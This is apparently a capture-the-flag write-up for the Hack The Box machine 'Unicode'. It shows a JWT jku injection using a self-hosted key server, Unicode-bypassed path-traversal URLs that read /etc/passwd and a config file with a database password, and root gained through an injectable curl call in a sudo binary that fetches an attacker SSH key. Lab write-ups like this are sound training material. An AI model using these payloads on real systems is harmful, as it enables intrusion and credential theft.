// htb writeup Hack The Box 2026-02-25
Unicode
HackTheBox Medium Hack The Box
root obtained // PWNED

🧪 Unicode – HTB Writeup

Platform: Hack The Box
Difficulty: Medium
OS: Linux
Release Date: 27 Nov 2021
Author: webspl01t3r Writeup by: inkedQT
User flag: e0a0c27b634bd51e0aee4cb0********
Root flag: ca86fe9edd53a27e61f96099********


🧭 Overview

Unicode is a Linux machine that involves JWT manipulation via JWKS injection, filtered LFI bypass using Unicode tricks, and a Python binary reverse-engineered for privilege escalation. Key elements include JWT key confusion, a HostSplit-based Unicode LFI bypass, and exploiting a filtered curl command in a custom executable.


🔍 Enumeration

🔎 Nmap

nmap -p- --min-rate=1000 -T4 10.10.11.126
nmap -p22,80 -sV 10.10.11.126

Open Ports:

🕵️‍♂️ Web Enum

Cookie Header:

{
  "typ": "JWT",
  "alg": "RS256",
  "jku": "http://hackmedia.htb/static/jwks.json"
}

🧨 Exploitation

🔐 JWT JWKS Injection

cd jwt_tool
python3 -m http.server 80

🗂️ Unicode LFI via HostSplit

http://hackmedia.htb/display/?page=‥/‥/‥/‥/‥/‥/etc/passwd
http://hackmedia.htb/display/?page=‥/‥/‥/home/code/coder/db.yaml
mysql_user: code
mysql_password: B3stC0d3r2021@@!

🔐 SSH Access

ssh code@hackmedia.htb
# Shell as code

User flag: e0a0c27b634bd51e0aee4cb0********


⬆️ Privilege Escalation

🔍 Sudo Check

sudo -l
# /usr/bin/treport (no password)

🔎 Reverse Engineering treport

Found vulnerable code:

cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'

💥 Exploit: Inject SSH Key

# Host malicious public key
cp ~/.ssh/id_rsa.pub .
python3 -m http.server 80

Then on box:

sudo /usr/bin/treport
# Inject payload with URL to SSH key

Root flag: ca86fe9edd53a27e61f96099********


📚 Lessons Learned


📸 Proof

proof